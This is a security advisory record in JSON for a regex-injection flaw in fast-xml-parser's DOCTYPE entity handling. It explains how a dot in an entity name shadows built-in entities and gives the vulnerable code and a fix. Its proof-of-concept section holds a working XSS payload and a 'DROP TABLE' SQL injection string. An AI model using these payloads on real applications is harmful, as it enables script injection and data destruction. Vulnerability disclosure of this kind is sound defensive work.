{"id":"GHSA-m7jm-9gc2-mpf2","summary":"fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names","details":"# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`<`, `>`, `&`, `"`, `'`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`&${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `<`. Since DOCTYPE entities are replaced before built-in entities, this shadows `<` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^&*()\u003c\u003e|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/&l.;/g` | `<` |\n| `g.` | `/&g.;/g` | `>` |\n| `am.` | `/&am.;/g` | `&` |\n| `quo.` | `/&quo.;/g` | `"` |\n| `apo.` | `/&apo.;/g` | `'` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY l. \"\u003cimg src=x onerror=alert(1)\u003e\"\u003e\n]\u003e\n\u003croot\u003e\n  \u003ctext\u003eHello <b>World</b>\u003c/text\u003e\n\u003c/root\u003e`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello \u003cimg src=x onerror=alert(1)\u003eb\u003eWorld\u003cimg src=x onerror=alert(1)\u003e/b\u003e\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `\u003cimg onerror\u003e` fires.\n\n`&` can be shadowed too:\n\n```js\nconst xml2 = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  \u003c!ENTITY am. \"'; DROP TABLE users;--\"\u003e\n]\u003e\n\u003croot\u003eSELECT * FROM t WHERE name='O&Brien'\u003c/root\u003e`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `<` / `>` / `&` / `"` / `'` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\nentities[entityName] = {\n    regx: RegExp(`&${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^&*()\u003c\u003e|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.","aliases":["CVE-2026-25896"],"modified":"2026-07-17T21:08:08.296509963Z","published":"2026-02-20T18:23:54Z","database_specific":{"github_reviewed_at":"2026-02-20T18:23:54Z","nvd_published_at":"2026-02-20T21:19:27Z","cwe_ids":["CWE-185"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25896"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"},{"type":"PACKAGE","url":"https://github.com/NaturalIntelligence/fast-xml-parser"},{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"}],"affected":[{"package":{"name":"fast-xml-parser","ecosystem":"npm","purl":"pkg:npm/fast-xml-parser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.3.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-m7jm-9gc2-mpf2/GHSA-m7jm-9gc2-mpf2.json"}},{"package":{"name":"fast-xml-parser","ecosystem":"npm","purl":"pkg:npm/fast-xml-parser"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.1.3"},{"fixed":"4.5.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-m7jm-9gc2-mpf2/GHSA-m7jm-9gc2-mpf2.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"}]}